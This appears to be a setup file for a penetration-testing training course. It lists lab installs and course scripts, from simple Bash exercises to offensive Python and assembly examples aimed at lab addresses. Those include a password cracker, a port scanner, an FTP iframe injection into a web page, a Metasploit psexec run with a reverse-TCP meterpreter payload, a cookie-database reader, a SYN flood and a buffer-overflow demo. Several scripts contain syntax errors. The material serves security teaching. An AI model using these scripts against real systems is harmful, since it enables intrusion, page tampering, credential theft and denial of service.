with Malcolm Shore



Preconfiguration File

This file contains details of the software and virtual machine configuration changes required to support *the Penetration Testing Essential Training* course. Each requirement is noted in the relevant course module, but you may wish to preload the software to avoid having to wait when working through each video. All software is downloaded to and installed in Windows unless otherwise noted.

Video Title	Item	Details
02_06 Extending PowerShell with Nishang	Install Nishang into Windows	Download the file nishang-master.zip fro https://github.com/samratashok/nishang and extract its contents into the folder C:\nishang
	hwtest.sh	#!/bin/bash str="Hello World" echo \$str
	argtest.sh	#!/bin/bash echo \$# echo \$1 \$2
03_01 Refreshing your Bash skills	vartest.sh	<pre>#!/bin/bash num="\$1" num2=17 if [\$num1 -ge \$num2] then echo "\$num1 is greater than or equal to \$num2" else echo "\$num2 is greater than \$num1" fi echo "sum is" \$((\$num1+\$num2))</pre>



	readtest.sh	#!/bin/bash echo "What is your name ?" read name echo "Hello \$name" read -p "Remind me, what is your name again? " name echo "Hello again \$name"
	fortest.sh	<pre>#!/bin/bash names=('Peter' 'Paul' 'Mary' 'David' 'Joe') x=\${#names[@]} for ((i=0; i<\$x; i++)) do echo \${names[\${i}]} done</pre>
03_02 Control the flow in a script	wutest.sh	#!/bin/bash runs=6 while [\$runs -gt 0] do echo Run down at number \$runs let runs=runs-1 done until [\$runs -gt 6] do echo Run up at number \$runs let runs=runs+1 done





	iftest.sh	if [-d \$1] then echo \$1+" exists" ls \$1 else echo \$1+" does not exist" fi
03_03 Using functions in Bash	fntest.sh	#!/bin/bash function speak { if [\$1 = "Paris"] then echo "Language used is French" elif [\$1 = "Hanoi"] then echo "Language used is Vietnamese, with a little French and English" else echo "Language used is English, of one form or another!" fi } PS3=">" echo "Let's check the language" select city in "Paris" "Melbourne" "Toronto" "Seattle" ""Hanoi" "exit" do if [\$city = "exit"] then break fi



	fntest.sh	case \$city in Paris) echo "Going to Paris";; Melbourne) echo "Going to Melbourne";; Toronto) echo "Going to Toronto";; Seattle) echo "Going to Seattle";; Hanoi) echo "Going to Hanoi";; esac speak \$city done echo "Bye!"
04_02 Use the system functions	getpass.py	Import sys Import crypt passfile=open('dict.txt','r') for word in passfile.readlines(): if (crypt.crypt(word.strip(),"MS")==sys.argv[1]): print "password is "+word
04_03 Use networking functions	banftp.py	<pre>import socket socket.setdefaulttimeout(1) s = socket.socket() s.connect_ex(("10.0.2.8",21)) banner = s.recv(1024) s.close() print banner</pre>



	portscan.py	<pre>import sys import socket try: for i in range(1:1024): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) if s.connect_ex((sys.argv[1],i))==0: print sys.argv[1]+":"+str(i)+"open" s.close() except Exception, e: pass</pre>
04_04 Working with websites	useftp.py	import ftplib ftp=ftplib.FTP('10.0.2.8') ftp.login('msfadmin','msfadmin') ftp.cwd('/var/www') ftp.dir()



	webinject.py	import ftplib ftp=ftplib.FTP('10.0.2.8') ftp.login('msfadmin','msfadmin') ftp.cwd('/var/www/myacc') f=open('index.tmp','w') ftp.retrlines('RETR myacc.html',f.write) f.write(' <iframe src="http://10.0.2.8/myacc/gotcha"></iframe> ') f.close() f.open('index.tmp','r') ftp.storlines('STOR myacc.html',f) f.close ftp.close() print "Accounts page redirected to Gotcha site"
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04_05 Driving Metasploit through Python	slumber.py	import os import sys def shell(metaFile) metaFile.write('use exploit/multi/handler\n') metaFile.write('set payload windows/meterpreter/reverse_tcp\n') metaFile.write('set LHOST 10.0.2.11\n') metaFile.write('set LPORT 3000\n') metaFile.write('set LPORT 3000\n') metaFile.write('setg DisablePayloadHandler 1\n') def exploit(metaFile) metaFile.write('use exploit/windows/smb/psexec\n') metaFile.write('set RHOST 10.0.2.6\n') metaFile.write('set SMBUser Administrator\n') metaFile.write('set SMBPass admin\n') metaFile.write('set LHOST 10.0.2.11\n') metaFile.write('set LHOST 10.0.2.11\n') metaFile.write('set LPORT 3000\n') metaFile.write('exploit -j z\n') metaFile.write('exploit -j z\n') shell(metaFile) exploit(metaFile) metaFile.close() os.system('msfconsole -r meta.rc')
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04_06 Accessing SQLite databases	squeal.py	<pre>import sqlite3 cs=sqlite3.connect('Cookies') c=cs.cursor() c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\"table\";') for row in c: print str(row)</pre>
	sqcol.py	import sqlite3 cs=sqlite3.connect('Cookies') c=cs.execute('SELECT * FROM cookies;') for row in c.description: print row[0]
	tablist.py	<pre>import sqlite3 cs=sqlite3.connect('Cookies') c=cs.cursor() c.execute('SELECT host_key, name FROM cookies;') for row in c: print row[1].ljust(16)+' '+row[1]</pre>
04_07 Using Scapy to work with packets	spack.py	from scapy.all import * def flood(src,tgt): for port in range(1024,65536): send(IP(src=src, dst=tgt) /TCP(sport=port, dport=4444, flags="S")) source="10.0.2.11" target="10.0.2.8" flood(source, target)
05_02 Fuzzing with Spike	Vulnserver into Windows	Download and extract the Vulnerable server from https://github.com/ stephenbradshaw/vulnserver into c:\vulnserver



06_04 Fingerprint web servers	Install HTTPRecon into Windows	Download and unzip from http://www.computec.ch/projekte/ httprecon/?s=download into c:\httprecon
	Install HTTPrint into Windows	Download and unzip from net-square.com/httprint.html into c:\httprint
07_02 Understanding code injection	Cminer into Kali	wget https://github.com/EgeBalci/Cminer/raw/master/Cminer chmod +x Cminer
	LordPE into Windows	Download and extract from https://appdb.winehq.org/objectManager. php?sClass=version&iId=14290 into C:\LordPE
07_03 Understanding buffer overflows	buffalo.asm	.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib .data Packet db "Malcolm",0 ; Packet db "0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



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.code
                          start:
                             push offset Hello
                             push offset Packet
                             call sco
                            invoke MessageBox, NULL, addr Hello, addr Hello, MB_OK
                            invoke ExitProcess, 0
                          sco proc
                            mov ebp,esp
                            mov ebx, [ebp+4]
                                                 ; name parameter
                                             ; make room for packet data
                             sub sp, 32
                            mov edx, esp
                                               ; start of name, for saving now
                             mov ecx, esp
                                               ; start of name, for reading later
                          nx: mov al, byte ptr [ebx]; let's move the packet data into local
buffalo.asm
                             mov byte ptr [edx], al; character at a time
                             inc ebx
                            inc edx
                             cmp al,0
                                            ; until we find the zero delimiter
                            jnz nx
                            mov edi, [ebp+8]
                                                ; Welcome message
                             add edi, 6
                                             ; position to where we put name
                          s1: mov al, byte ptr [ecx]; get start of name from local
                            mov byte ptr [edi], al; store it in welcome message
                             inc edi
                             inc ecx
                             cmp al,0
                                            ; keep going until zero delimeter
                            jnz s1
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buffalo.asm	add sp, 32 ; release local storage ret 8 ; release call parameter sco endp end start
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